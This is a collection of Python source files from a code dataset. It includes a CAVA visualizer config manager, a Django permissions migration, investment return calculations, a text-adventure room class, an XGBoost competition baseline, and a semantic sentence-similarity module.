file\"\"\"\n\t\twith open(self.file, 'w') as configfile:\n\t\t\tself.parser.write(configfile)\n\n\nclass CavaConfig(ConfigBase):\n\t\"\"\"CAVA config manager\"\"\"\n\tdef __init__(self):\n\t\tsuper().__init__(\n\t\t\t\"cava.ini\", dict(\n\t\t\t\tgeneral = dict(\n\t\t\t\t\tbars = AttributeDict(type=int),\n\t\t\t\t\tsensitivity = AttributeDict(type=int),\n\t\t\t\t\tframerate = AttributeDict(type=int),\n\t\t\t\t\tlower_cutoff_freq = AttributeDict(type=int),\n\t\t\t\t\thigher_cutoff_freq = AttributeDict(type=int),\n\t\t\t\t\tautosens = AttributeDict(type=bool),\n\t\t\t\t),\n\t\t\t\toutput = dict(\n\t\t\t\t\tmethod = AttributeDict(type=str, valid=[\"raw\"]),\n\t\t\t\t\traw_target = AttributeDict(type=str),\n\t\t\t\t\tchannels = AttributeDict(type=str),\n\t\t\t\t\tbit_format = AttributeDict(type=str, valid=[\"16bit\", \"8bit\"]),\n\t\t\t\t),\n\t\t\t\tsmoothing = dict(\n\t\t\t\t\tgravity = AttributeDict(type=int),\n\t\t\t\t\tintegral = AttributeDict(type=int),\n\t\t\t\t\tignore = AttributeDict(type=int),\n\t\t\t\t\tmonstercat = AttributeDict(type=bool),\n\t\t\t\t),\n\t\t\t)\n\t\t)\n\n\tdef read_data(self):\n\t\tsuper().read_data()\n\t\tself[\"eq\"] = [float(v) for v in self.parser[\"eq\"].values()]\n\n\tdef write_data(self):\n\t\tsuper().write_data()\n\n\t\tfor i, key in enumerate(self.parser[\"eq\"].keys()):\n\t\t\tself.parser[\"eq\"][key] = \"{:.2f}\".format(self[\"eq\"][i])\n\n\t\tself.save_data()\n\n\nclass MainConfig(ConfigBase):\n\t\"\"\"Main application config manager\"\"\"\n\tdef __init__(self):\n\t\tsuper().__init__(\n\t\t\t\"main.ini\", dict(\n\t\t\t\tdraw = dict(\n\t\t\t\t\tpadding = AttributeDict(type=int),\n\t\t\t\t\tzero = AttributeDict(type=int),\n\t\t\t\t\tsilence = AttributeDict(type=int),\n\t\t\t\t\tscale = AttributeDict(type=float),\n\t\t\t\t),\n\t\t\t\tcolor = dict(\n\t\t\t\t\tfg = AttributeDict(type=Gdk.RGBA),\n\t\t\t\t\tautofg = AttributeDict(type=Gdk.RGBA),\n\t\t\t\t\tbg = AttributeDict(type=Gdk.RGBA),\n\t\t\t\t\tauto = AttributeDict(type=bool),\n\t\t\t\t),\n\t\t\t\toffset = dict(\n\t\t\t\t\tleft = AttributeDict(type=int),\n\t\t\t\t\tright = AttributeDict(type=int),\n\t\t\t\t\ttop = AttributeDict(type=int),\n\t\t\t\t\tbottom = AttributeDict(type=int),\n\t\t\t\t),\n\t\t\t\twindow = dict(\n\t\t\t\t\tmaximize = AttributeDict(type=bool),\n\t\t\t\t\tbelow = AttributeDict(type=bool),\n\t\t\t\t\tstick = AttributeDict(type=bool),\n\t\t\t\t\twinbyscreen = AttributeDict(type=bool),\n\t\t\t\t\timagebyscreen = AttributeDict(type=bool),\n\t\t\t\t\tbgpaint = AttributeDict(type=bool),\n\t\t\t\t\tfullscreen = AttributeDict(type=bool),\n\t\t\t\t\tskiptaskbar = AttributeDict(type=bool),\n\t\t\t\t),\n\t\t\t\timage = dict(\n\t\t\t\t\tshow = AttributeDict(type=bool),\n\t\t\t\t\tusetag = AttributeDict(type=bool),\n\t\t\t\t\tva = AttributeDict(type=bool),\n\t\t\t\t\tha = AttributeDict(type=bool),\n\t\t\t\t\tdefault = AttributeDict(type=str)\n\t\t\t\t),\n\t\t\t\tautocolor = dict(\n\t\t\t\t\tbands = AttributeDict(type=int),\n\t\t\t\t\twindow = AttributeDict(type=int),\n\t\t\t\t\tsaturation_min = AttributeDict(type=float),\n\t\t\t\t\tvalue_min = AttributeDict(type=float),\n\t\t\t\t\tisize = AttributeDict(type=\"ilist\"),\n\t\t\t\t),\n\t\t\t\tplayer = dict(\n\t\t\t\t\tvolume = AttributeDict(type=float),\n\t\t\t\t\tshuffle = AttributeDict(type=bool),\n\t\t\t\t\tshowqueue = AttributeDict(type=bool),\n\t\t\t\t),\n\t\t\t\tmisc = dict(\n\t\t\t\t\thint = AttributeDict(type=\"hint\", valid=GTK_WINDOW_TYPE_HINTS),\n\t\t\t\t\tdsize = AttributeDict(type=\"ilist\"),\n\t\t\t\t\tcursor_hide_timeout = AttributeDict(type=int),\n\n\t\t\t\t),\n\t\t\t\tkeys = dict(\n\t\t\t\t\texit = AttributeDict(type=\"accel\", valid=accel),\n\t\t\t\t\tnext = AttributeDict(type=\"accel\", valid=accel),\n\t\t\t\t\tplay = AttributeDict(type=\"accel\", valid=accel),\n\t\t\t\t\tshow = AttributeDict(type=\"accel\", valid=accel),\n\t\t\t\t\thide = AttributeDict(type=\"accel\", valid=accel),\n\t\t\t\t),\n\t\t\t)\n\t\t)\n\n\tdef read_data(self):\n\t\tsuper().read_data()\n\t\tself._validate_default_bg()\n\n\tdef _validate_default_bg(self):\n\t\tif not self[\"image\"][\"default\"]:\n\t\t\tlogger.info(\"Default wallpaper not defined, setting config option to fallback value.\")\n\t\t\tself._set_fallback_bg()\n\t\telif not os.path.isfile(self[\"image\"][\"default\"]):\n\t\t\tlogger.warning(\"Default wallpaper file not valid, resetting config option to fallback value.\")\n\t\t\tself._set_fallback_bg()\n\n\tdef _set_fallback_bg(self):\n\t\tself[\"image\"][\"default\"] = os.path.join(os.path.dirname(self.defconfig), DEFAULT_WALLPAPER_FILE)\n\n\tdef write_data(self):\n\t\tsuper().write_data()\n\t\tself.save_data()\n","sub_path":"cavalcade/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":8080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"652798885","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('lti_permissions', '0001_initial'),\n ]\n\n operations = [\n migrations.RunSQL(\n sql=\"INSERT INTO lti_permissions_ltipermission \"\n \"(permission, school_id, canvas_role, allow) \"\n \"VALUES ('manage_courses', '*', 'AccountAdmin', '1'),\"\n \"('manage_courses', '*', 'Account Admin', '1'),\"\n \"('manage_courses', '*', 'Account admin', '1'),\"\n \"('manage_courses', '*', 'SchoolLiaison', '1');\",\n reverse_sql=\"delete from lti_permissions_ltipermission where permission='manage_courses';\",\n ),\n ]\n\n","sub_path":"canvas_site_creator/migrations/0001_insert_lti_permissions.py","file_name":"0001_insert_lti_permissions.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"139936941","text":"from employee import SalaryEmployee, HourlyEmployee, CommissionEmployee\nfrom payroll import PayrollSystem\n\n\ndef run():\n salary_employee = SalaryEmployee(1, 'John Smith', 1500)\n hourly_employee = HourlyEmployee(2, 'John Dee', 40, 15)\n commission_employee = CommissionEmployee(3, 'Kevin Bacon', 1000, 250)\n payroll_system = PayrollSystem()\n payroll_system.calculate_payroll([\n salary_employee,\n hourly_employee,\n commission_employee,\n ])\n\n\nif __name__ == '__main__':\n run()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"465041568","text":"from scipy.optimize import newton\nimport numpy as np\n\n\n#############\n# standard dfs\n#############\ndef _get_merged_flow_and_value_df(flow_df, value_df):\n # test that the first df has a flow column and the second a value column\n assert 'flow' in flow_df.columns and 'value' in value_df.columns\n # merge the dfs and sort for date\n df = flow_df.merge(value_df, how='outer')\n df.sort_values(axis='rows', by=['date'], inplace=True)\n # test that in the last row is a value\n print(df)\n assert not np.isnan(df.iloc[-1, df.columns.get_loc('value')])\n # test that there are is always a value after a flow\n for i in range(0, df.shape[0]):\n if not np.isnan(df.iloc[i, df.columns.get_loc('flow')]):\n assert np.isnan(df.iloc[i + 1, df.columns.get_loc('flow')])\n # return the new df\n return df\n\n\ndef _get_value_with_flow_df(flow_df, value_df):\n # get the right df\n df = _get_merged_flow_and_value_df(flow_df, value_df)\n # shift the flows up to the values\n df.loc[:, 'flow'] = df.loc[:, 'flow'].shift(1)\n # drop the old flow rows\n df = df.loc[df.loc[:, 'value'].notna()]\n # test that the length is equal to the length of the value df\n assert len(df.index) == len(value_df.index)\n # fill the nan flow with 0\n df.loc[:, 'flow'].fillna(0, inplace=True)\n # return the combined df\n return df\n\n\n#############\n# time weighted return\n#############\ndef get_time_weighted_return_df(flow_df, value_df):\n # get the right df\n df = _get_value_with_flow_df(flow_df, value_df)\n # calculate twr for each sub period\n df.loc[:, 'twr'] = (df.loc[:, 'value'] - df.loc[:, 'flow']) / df.loc[:, 'value'].shift(1)\n # fill the first row twr value as it is nan\n df.iloc[0, df.columns.get_loc('twr')] = 1\n # return the df\n return df\n\n\ndef get_time_weighted_return(df):\n # test that all necessary columns are available\n assert 'twr' in df.columns\n # return nan if there are nan values in the twr column\n if df.loc[:, 'twr'].isnull().values.any():\n return np.nan\n # calculate twr\n time_weighted_return = df.loc[:, 'twr'].product() - 1\n # return the rate\n return time_weighted_return\n\n\n#############\n# internal rate of return\n#############\ndef get_internal_rate_of_return_df(flow_df, value_df):\n # get the right df\n df = _get_merged_flow_and_value_df(flow_df, value_df)\n # move the first value to the flow column if there is no flow\n if np.isnan(df.iloc[0, df.columns.get_loc('flow')]):\n df.iloc[0, df.columns.get_loc('flow')] = df.iloc[0, df.columns.get_loc('value')]\n # flip the flows\n df.loc[:, 'flow'] = df.loc[:, 'flow'] * (-1)\n # get the last value as flow\n df.iloc[-1, df.columns.get_loc('flow')] = df.iloc[-1, df.columns.get_loc('value')]\n # drop the nan rows\n df = df.loc[df.loc[:, 'flow'].notna()]\n # test that the length is equal to the length of the flow df plus the last row of the value df\n assert len(df.index) == len(flow_df.index) + 1 or len(df.index) == len(flow_df.index) + 2\n # drop the value column\n df = df.loc[:, ['date', 'flow']]\n # add the days column\n df.loc[:, 'days'] = df.loc[:, 'date'] - df.iloc[0, df.columns.get_loc('date')]\n # convert the days column to a number in days\n df.loc[:, 'days'] = df.loc[:, 'days'].map(lambda x: x.days)\n # return the df\n return df\n\n\ndef custom_xnpv(rate, df):\n # test that all necessary columns are available\n assert 'flow' in df.columns and 'days' in df.columns\n # calculation\n xnpv = 0\n for i in range(0, df.shape[0]):\n xnpv += df.iloc[i, df.columns.get_loc('flow')] / (1 + rate) ** df.iloc[i, df.columns.get_loc('days')]\n # return the\n return xnpv\n\n\ndef get_daily_internal_rate_of_return(df, guess=0.000210874):\n # test that all necessary columns are available\n assert 'flow' in df.columns and 'days' in df.columns\n # return nan if the last flow is 0 because that means that there is no money invested anymore\n if df.iloc[-1, df.columns.get_loc('flow')] == 0:\n return np.nan\n # calculate the internal rate of return\n internal_rate_of_return = newton(lambda rate: custom_xnpv(rate, df), guess)\n # return the rate\n return internal_rate_of_return\n\n\ndef get_internal_rate_of_return(df):\n # get the daily rate\n internal_rate_of_return = get_daily_internal_rate_of_return(df)\n # turn the daily rate into the rate of the period\n internal_rate_of_return = (1 + internal_rate_of_return) ** (df.iloc[-1, df.columns.get_loc('days')])\n # return the rate\n return internal_rate_of_return\n\n\n#############\n# current return\n#############\ndef get_current_return_df(flow_df, value_df):\n # get the right df\n df = _get_value_with_flow_df(flow_df, value_df)\n # copy the first value to the flow column if there is no flow\n if df.iloc[0, df.columns.get_loc('flow')] == 0:\n df.iloc[0, df.columns.get_loc('flow')] = df.iloc[0, df.columns.get_loc('value')]\n # init the invested_capital column\n df.loc[:, 'invested_capital'] = None\n # calculate the invested capital\n for i in range(0, df.shape[0]):\n flow = df.iloc[i, df.columns.get_loc('flow')]\n previous_invested_capital = df.iloc[i-1, df.columns.get_loc('invested_capital')] if i > 0 else 0\n if flow > 0:\n invested_capital = previous_invested_capital + flow\n elif flow < 0:\n value = df.iloc[i, df.columns.get_loc('value')]\n invested_capital = previous_invested_capital * (value / (abs(flow) + value))\n else:\n invested_capital = previous_invested_capital\n df.iloc[i, df.columns.get_loc('invested_capital')] = invested_capital\n # calculate the current return\n df.loc[:, 'current_return'] = df.loc[:, 'value'] / df.loc[:, 'invested_capital']\n # return the df\n return df\n\n\ndef get_current_return(df):\n # test that all necessary columns are available\n assert 'current_return' in df.columns\n # current return of a period is always the last value\n current_return = df.iloc[-1, df.columns.get_loc('current_return')]\n # return the current return\n return current_return\n","sub_path":"finance/core/return_calculation.py","file_name":"return_calculation.py","file_ext":"py","file_size_in_byte":6138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"611068236","text":"import time\n\nfrom SalleEvenement import *\n\nclass SalleLevier(SalleEvenement):\n def __init__(self,isExplore, gameMap, x, y, salleDroite, salleGauche, salleHaut, salleBas):\n SalleEvenement.__init__(self, isExplore, x, y, salleDroite, salleGauche, salleHaut, salleBas)\n self.__gameMap = gameMap\n\n def declancherEvenement(self):\n if (self.__gameMap.getLevierActive() == False):\n print(\"Vous trouvez et activez un levier.\")\n print(\"Vous entendez un bruit sourd au loin...\")\n self.__gameMap.setLevierActive(True)\n time.sleep(1.5)\n else:\n i = randint(0,7)\n if i<=1:\n return \"bagarre\"\n","sub_path":"Code python/SalleLevier.py","file_name":"SalleLevier.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"617463188","text":"#!/usr/bin/env python\n# coding: utf-8\n\nfrom xgboost import XGBClassifier\nfrom xgboost import XGBRegressor\nfrom sklearn.metrics import roc_auc_score\nimport os\nimport numpy as np\nimport pandas as pd\nimport xgboost as xgb\nimport lightgbm as lgb\nimport catboost as cbt\nimport category_encoders as ce\nfrom tqdm import tqdm\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import KFold, StratifiedKFold, train_test_split\n\n\nsubmission = pd.read_csv('./data/submission.csv')\ntrain = pd.read_csv('./data/train.csv')\ntest = pd.read_csv('./data/test.csv')\ntrain_label = pd.read_csv('./data/train_label.csv')\n\ntrain.head()\n\nnp.where(train.isnull().sum()/train.shape[0] < 0.5)[0]\ntrain.columns[np.where(train.isnull().sum()/train.shape[0] < 0.5)[0]]\n\ncolumns = ['ID', '企业类型', '登记机关', '企业状态', '邮政编码', '注册资本', '核准日期', '行业代码', '经营期限自',\n '成立日期', '行业门类', '企业类别', '管辖机关', '经营范围', '增值税', '企业所得税', '印花税', '教育费',\n '城建税']\n\ntrain[columns].isnull().sum()/train.shape[0]\n\ntrain['经营范围'].map(lambda x: len(x))\n\nfeature = ['企业类型', '登记机关', '企业状态', '注册资本', '行业代码',\n '行业门类', '企业类别', '管辖机关', '经营范围', '增值税', '企业所得税', '印花税', '教育费',\n '城建税']\n\ntrain[feature].head()\n\ntrain = train.merge(train_label, on='ID', how='left')\n\ndata = train.append(test)\n\ndata['经营范围'] = data['经营范围'].map(lambda x: len(x))\n\nobject_col = ['企业类型', '行业门类', '企业类别', '管辖机关']\nfor i in tqdm(object_col):\n lbl = LabelEncoder()\n data[i] = lbl.fit_transform(data[i].astype(str))\n data[i] = data[i]\n\ndata['企业所得税与增值税之比'] = data['增值税']/data['企业所得税']\n\nfeature += ['企业所得税与增值税之比']\n\ntr_index = ~data['Label'].isnull()\ntrain = data[tr_index].reset_index(drop=True)\ny = data[tr_index]['Label'].reset_index(drop=True).astype(int)\ntest = data[~tr_index].reset_index(drop=True)\nprint(train.shape, test.shape)\n\n\ndef lgb_roc_auc_score(y_hat, data):\n y_true = data.get_label()\n y_hat = np.round(y_hat)\n return 'f1', roc_auc_score(y_true, y_hat), True\n\n\nfi = []\ncv_score = []\ntest_pred = np.zeros((test.shape[0],))\nskf = StratifiedKFold(n_splits=5, random_state=2019, shuffle=True)\n\n\nfor index, (train_index, test_index) in enumerate(skf.split(train, y)):\n print(index)\n train_x, test_x, train_y, test_y = train.iloc[train_index], train.iloc[\n test_index], y.iloc[train_index], y.iloc[test_index]\n\n xgb_model = XGBRegressor(learning_rate=0.1,\n n_estimators=1000,\n max_depth=5,\n gamma=0,\n verbosity=1,\n subsample=0.8,\n # min_child_weight=1, \n objective='binary:logistic')\n eval_set = [(train_x[feature], train_y), (test_x[feature], test_y)]\n xgb_model.fit(train_x[feature], train_y, \n early_stopping_rounds = 20,\n eval_metric=[\"error\", \"logloss\",'auc'], \n eval_set=eval_set, verbose=20)\n\n y_val = xgb_model.predict(test_x[feature])\n # print(\"roc_auc:\", roc_auc_score(test_y, np.round(y_val)))\n print(\"roc_auc:\", roc_auc_score(test_y, y_val))\n cv_score.append(roc_auc_score(test_y, y_val))\n print(\"cv_score:\", cv_score[index])\n # test_pred += np.round(xgb_model.predict(test[feature])) / 5\n test_pred += xgb_model.predict(test[feature]) / 5\n# test_pred = [0.0 if r < 2.5 else 1.0 for r in test_pred ]\n\nsubmission['Label'] = test_pred\nsubmission.to_csv('submission_xgboost.csv', index=False)\n","sub_path":"shixinqiye/code/baseline_xgboost.py","file_name":"baseline_xgboost.py","file_ext":"py","file_size_in_byte":3815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"125757535","text":"# -*- coding: utf-8 -*-\n\n################################################################################\n#\n#\tName: similarity.py\n#\tAuthor: Aaron[aderakhs@ualberta.ca]\n#\tDescription: Implements Semantic similarity measure for KNN learning algorithm\n# based on Word2Vec[https://arxiv.org/abs/1301.3781] and based on\n# Doc2Vec [https://arxiv.org/abs/1405.4053].\n#\n################################################################################\nimport Utility as util\nfrom scipy.spatial.distance import cosine\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom nltk.corpus import wordnet\nfrom gensim.models import Doc2Vec\nfrom gensim.test.test_doc2vec import ConcatenatedDoc2Vec\nfrom gensim.models.doc2vec import TaggedDocument\nimport gensim.models.doc2vec\nimport multiprocessing\nimport warnings, random, pickle, time\n\n\nclass SemanticSimilarity:\n # measures the similarity between 2 sentences based on their components vector representations\n @staticmethod\n def cosine(sentence_1, sentence_2, combination='avg', window_size=None):\n # gets two list (sentence_1 and sentence_2) as two vector representation of returns the cosine similarity\n # of said sentences\n if combination == 'avg':\n # average mode\n return 1-cosine(util.avg(sentence_1), util.avg(sentence_2)) \n else:\n # Concatenate mode with sliding window\n if window_size != None:\n # if window size is set then a global window size would be used for both sentences\n # we assume that the window size is smaller than the size of list\n if (len(sentence_1) < window_size) or (len(sentence_2) < window_size):\n raise ValueError('`Window-size` should be smaller that length of vectors')\n else:\n return max([\n 1-cosine(util.cat(sentence_1[i:i+window_size]), util.cat(sentence_2[j:j+window_size]))\n ] for j in range(len(sentence_2)-window_size+1) for i in range(len(sentence_1)-window_size+1))\n else:\n # if a global window size has not been set then the length of smaller sentence would be considered\n # the window size\n if len(sentence_1) == len(sentence_2):\n # if both sentences are of the same size\n return 1-cosine(util.cat(sentence_1), util.cat(sentence_2))\n else:\n smaller, larger = (sentence_1, sentence_2) if len(sentence_1) < len(sentence_2) else (sentence_2, sentence_1)\n\n return max([\n 1-cosine(util.cat(smaller), util.cat(larger[i:i+len(smaller)]))\n ] for i in range(len(larger)-len(smaller)+1) )\n \n class Mihalcea2006:\n # Based on paper \"Mihalcea, Rada, Courtney Corley, and Carlo Strapparava. \n # Corpus-based and knowledge-based measures of text semantic similarity. AAAI. Vol. 6. 2006.\"\n # [https://www.aaai.org/Papers/AAAI/2006/AAAI06-123.pdf]\n def __init__(self, corpus):\n # In this implementation we consider each sentence a document, therefore a corpus is a list of all the\n # sentences\n self.corpus = corpus\n self.vectorizer = TfidfVectorizer(min_df=1)\n\n def computeIDF(self):\n # computes the inverse document frequency (idf) and term frequency (tf-idf) for each token\n self.tfidf_matrix = self.vectorizer.fit_transform(self.corpus)\n self.idf = dict(zip(self.vectorizer.get_feature_names(), self.vectorizer.idf_))\n \n def similarity(self, sentence_1, sentence_2, word_similarity='embedded'):\n \"\"\"\n 1- Description: computes the similarity of two sentences (pairwise) according to word_similarity metrics\n and based on (Mihalcea et al., 2006) work according to following formula:\n\n Sim(sentence_1, sentence_2) = 1/2 * [\n (Sum_{w_i in sentence_1}(maxSim(w_i, sentence_2)*idf(w_i))/Sum_{w_i in sentence_1}(idf(w_i))) +\n (Sum_{w_i in sentence_2}(maxSim(w_i, sentence_1)*idf(w_i))/Sum_{w_i in sentence_2}(idf(w_i))) ] \n\n 2- Parameters: \n * [word_similarity] = (\"embedded\", \"WordNet\", \"JC\", \"LC\", \"LIN\", \"WP\", \"Resnik\") where:\n 1- \"embedded\" uses word vectors as word similarity metric\n 2- \"WordNet\" uses word net's path similarity, \"Return a score denoting how similar two word senses are, \n based on the shortest path that connects the senses in the is-a (hypernym/hypnoym) taxonomy. \n The score is in the range 0 to 1\" [http://www.nltk.org/howto/wordnet.html]\n 3- \"JC\" or Jiang-Conrath Similarity \"Returns a score denoting how similar two word senses are, \n based on the Information Content (IC) of the Least Common Subsumer (most specific ancestor node) \n and that of the two input Synsets. The relationship is given by the equation \n 1 / (IC(s1) + IC(s2) - 2 * IC(lcs)).\" [Jiang, Jay J., and David W. Conrath. \n \"Semantic similarity based on corpus statistics and lexical taxonomy.\" arXiv preprint \n cmp-lg/9709008 (1997).]\n 4- \"LC\" or Leacock-Chodorow Similarity \"Returns a score denoting how similar two word senses are, \n based on the shortest path that connects the senses (as above) and the maximum depth of the taxonomy \n in which the senses occur. The relationship is given as -log(p/2d) where p is the shortest path \n length and d the taxonomy depth.\" [Leacock, Claudia, and Martin Chodorow. \n \"Combining local context and WordNet similarity for word sense identification.\" \n WordNet: An electronic lexical database 49.2 (1998): 265-283.]\n 5- \"LIN\" \"Return a score denoting how similar two word senses are, based on the Information Content (IC) \n of the Least Common Subsumer (most specific ancestor node) and that of the two input Synsets. \n The relationship is given by the equation 2 * IC(lcs) / (IC(s1) + IC(s2)).\"[Lin, Dekang. \n \"An information-theoretic definition of similarity.\" Icml. Vol. 98. No. 1998. 1998.]\n 6- \"WP\" or Wu-Palmer Similarity \"Returns a score denoting how similar two word senses are, \n based on the depth of the two senses in the taxonomy and that of their Least Common Subsumer.\"\n [Wu, Zhibiao, and Martha Palmer. \"Verbs semantics and lexical selection.\" \n Proceedings of the 32nd annual meeting on Association for Computational Linguistics. \n Association for Computational Linguistics, 1994.]\n 7- \"Resnik\" \"Return a score denoting how similar two word senses are, based on the Information Content (IC) \n of the Least Common Subsumer.\" [Resnik, Philip. \"Using information content to evaluate semantic similarity in a taxonomy.\" \n arXiv preprint cmp-lg/9511007 (1995).]\n\n * [sentence_1 or sentence_2] should be in for of a dictionary as follows\n {\n \"tokens\": [list of tokens],\n \"vectors\": [list of word vectors (if using with embedded metric)]\n } \n \"\"\"\n\n if word_similarity == 'embedded':\n # computes the max similarity between a vector, which represents a token, and a list vectors \n max_sim = lambda vec, sentence: max([\n 1-cosine(vec, v_i) for v_i in sentence['vectors']\n ])\n\n return 0.5 * (\n (\n sum([max_sim(v_i, sentence_2) * self.idf[token_i['text'].lower()] for v_i, token_i in zip(sentence_1['vectors'], sentence_1['tokens']) if token_i['pos'] not in ['PUNCT', 'SYM', 'X', 'PART']]) / \n sum([self.idf[token_i['text'].lower()] for token_i in sentence_1['tokens'] if token_i['pos'] not in ['PUNCT', 'SYM', 'X', 'PART']])\n ) + (\n sum([max_sim(v_i, sentence_1) * self.idf[token_i['text'].lower()] for v_i, token_i in zip(sentence_2['vectors'], sentence_2['tokens']) if token_i['pos'] not in ['PUNCT', 'SYM', 'X', 'PART']]) / \n sum([self.idf[token_i['text'].lower()] for token_i in sentence_2['tokens'] if token_i['pos'] not in ['PUNCT', 'SYM', 'X', 'PART']])\n )\n )\n else:\n # gold part of speech annotation to WordNet annotations\n gold_to_wn_conversion = {\n u'N': wordnet.NOUN,\n u'J': wordnet.ADJ,\n u'V': wordnet.VERB,\n u'R': wordnet.ADV\n }\n\n synset_1 = [\n (wordnet.synsets(token['text'], gold_to_wn_conversion[token['tag'][0]])[0], token['text'].lower()) for token in sentence_1['tokens'] if token['tag'][0] in ['N', 'J', 'V', 'R'] and len(wordnet.synsets(token['text'], gold_to_wn_conversion[token['tag'][0]]))>0\n ]\n synset_2 = [\n (wordnet.synsets(token['text'], gold_to_wn_conversion[token['tag'][0]])[0], token['text'].lower()) for token in sentence_2['tokens'] if token['tag'][0] in ['N', 'J', 'V', 'R'] and len(wordnet.synsets(token['text'], gold_to_wn_conversion[token['tag'][0]]))>0\n ]\n # computes similarity of two word(token) according to WordNet similarity\n # on problem with WordNet similarity measure is that it is not symmetric to solve this problem we simply assume\n # word_sim(w1, w2) = max[wnSim(w1, w2), wnSim(w2, w1)]\n if word_similarity == 'WordNet':\n # use path_similarity\n word_sim = lambda synset1, synset2: max([synset1.path_similarity(synset2), synset2.path_similarity(synset1)])\n elif word_similarity == 'JC':\n # use Jiang-Conrath Similarity\n word_sim = lambda synset1, synset2: max([synset1.jcn_similarity(synset2), synset2.jcn_similarity(synset1)])\n elif word_similarity == 'LC':\n # use Leacock-Chodorow Similarity\n word_sim = lambda synset1, synset2: max([synset1.lch_similarity(synset2), synset2.lch_similarity(synset1)])\n elif word_similarity == 'LIN':\n # use Lin Similarity\n word_sim = lambda synset1, synset2: max([synset1.lin_similarity(synset2), synset2.lin_similarity(synset1)])\n elif word_similarity == 'WP':\n # use Wu-Palmer Similarity\n word_sim = lambda synset1, synset2: max([synset1.wup_similarity(synset2), synset2.wup_similarity(synset1)])\n else:\n # use Resnik Similarity\n word_sim = lambda synset1, synset2: max([synset1.res_similarity(synset2), synset2.res_similarity(synset1)])\n\n \n # computes the max similarity between a token and a list of tokens\n max_sim = lambda synset, synsets: max([\n word_sim(synset, synset_i) for synset_i, token in synsets\n ])\n\n return 0.5 * (\n (\n sum([max_sim(synset, synset_2) * self.idf[token] for synset, token in synset_1]) / \n sum([self.idf[token] for synset, token in synset_1])\n ) + (\n sum([max_sim(synset, synset_1) * self.idf[token] for synset, token in synset_2]) / \n sum([self.idf[token] for synset, token in synset_2])\n )\n )\n\n class Le2014:\n # Based on paper \"Le, Quoc, and Tomas Mikolov. Distributed representations of sentences and documents.\n # International Conference on Machine Learning. 2014.\" [https://cs.stanford.edu/~quocle/paragraph_vector.pdf]\n # We use the implementation provided by python-gensim\n # For more information and notes on implementation please read \n # [https://github.com/RaRe-Technologies/gensim/blob/develop/docs/notebooks/doc2vec-IMDB.ipynb]\n def __init__(self, corpus, cores=None, config=None):\n if (gensim.models.doc2vec.FAST_VERSION > -1) == False:\n warnings.warn('Native training module is not loaded. In this case the training process will take unrealistically long time. Please refer to README 1.d clause.')\n\n # The number of active cores for training the model\n if cores != None:\n self.cores = cores\n else:\n # if not set, use all the available cpu cores\n self.cores = multiprocessing.cpu_count()\n\n self.corpus = []\n for sentence in corpus:\n # Doc2Vec model takes TaggedDocument instances as sample, therefore we turn or corpus to a list of TaggedDocuments\n # Each taggedDocument has a list of tokens and a tag; a tag could be an unique id by which we later measure the \n # similarity of sentence to other sentences [https://radimrehurek.com/gensim/models/doc2vec.html#gensim.models.doc2vec.TaggedDocument]\n self.corpus.append(TaggedDocument(sentence.text.decode(\"utf-8\").split(),[unicode(sentence.id)]))\n\n # Training parameters\n # [todo] configuration file\n \n # learning rate\n self.alpha = 0.025\n\n # Minimum learning rate; learning rate is reduced in each pass\n self.min_alpha = 0.001\n\n # Number of iteration during which the system reduces the error rate\n self.passes = 20\n\n \n # Defines models to train\n # Original model proposed in the paper; distributed memory model w/ negative sampling, window size 10 and concatenation\n # [todo] config file\n self.models = [\n # Original model proposed in the paper; distributed memory model w/ negative sampling, window size 10 and concatenation\n Doc2Vec(dm=1, size=300, window=10, dm_concat=1, negative=5, hs=0, min_count=2, workers=self.cores),\n\n # Original model proposed in the paper; distributed bag of words w/ negative sampling, window size 10 and concatenation\n Doc2Vec(dm=0, size=300, window=10, dm_concat=1, negative=5, hs=0, min_count=2, workers=self.cores),\n\n # Original model proposed in the paper; distributed memory model w/ negative sampling, window size 10 and average vectors\n Doc2Vec(dm=1, size=300, window=10, dm_mean=1, negative=5, hs=0, min_count=2, workers=self.cores)\n ]\n\n # we build vocab for one model and copy it to other models\n self.models[0].build_vocab(self.corpus)\n\n for model in self.models[1:3]:\n model.reset_from(self.models[0])\n \n\n # Combined models; \"Le and Mikolov notes that combining a paragraph vector from Distributed Bag of Words (DBOW) \n # and Distributed Memory (DM) improves performance.\"\n self.models.append(ConcatenatedDoc2Vec([self.models[0], self.models[1]]))\n self.models.append(ConcatenatedDoc2Vec([self.models[1], self.models[2]]))\n\n def train(self):\n # trains the system and produces the vectors\n random.shuffle(self.corpus)\n for model in self.models:\n model.train(self.corpus, total_examples=len(self.corpus), epochs=self.passes, start_alpha=self.alpha, end_alpha=self.min_alpha)\n\n def similarity(self, sentence_1, sentence_2):\n return sum([\n 1-cosine(model.docvecs[unicode(sentence_1.id)], model.docvecs[unicode(sentence_2.id)]) for model in self.models[0:3]\n ])/3\n \n def save(self):\n with open(\"le2014-%s.pickle\"%time.strftime(\"%Y-%m-%d-%H.%M.%S\"), 'w') as out:\n out.write(pickle.dumps(self))\n\nclass StatisticSimilarity:\n # Measures the statistical similarity amongst sentences\n @staticmethod\n def tfidf(corpus):\n # gets a corpus in form of a list of strings and computes the tfidf matrix\n return TfidfVectorizer().fit_transform(corpus)\n \n @staticmethod\n def tfidfSim(matrix, index):\n return cosine_similarity(matrix[index], 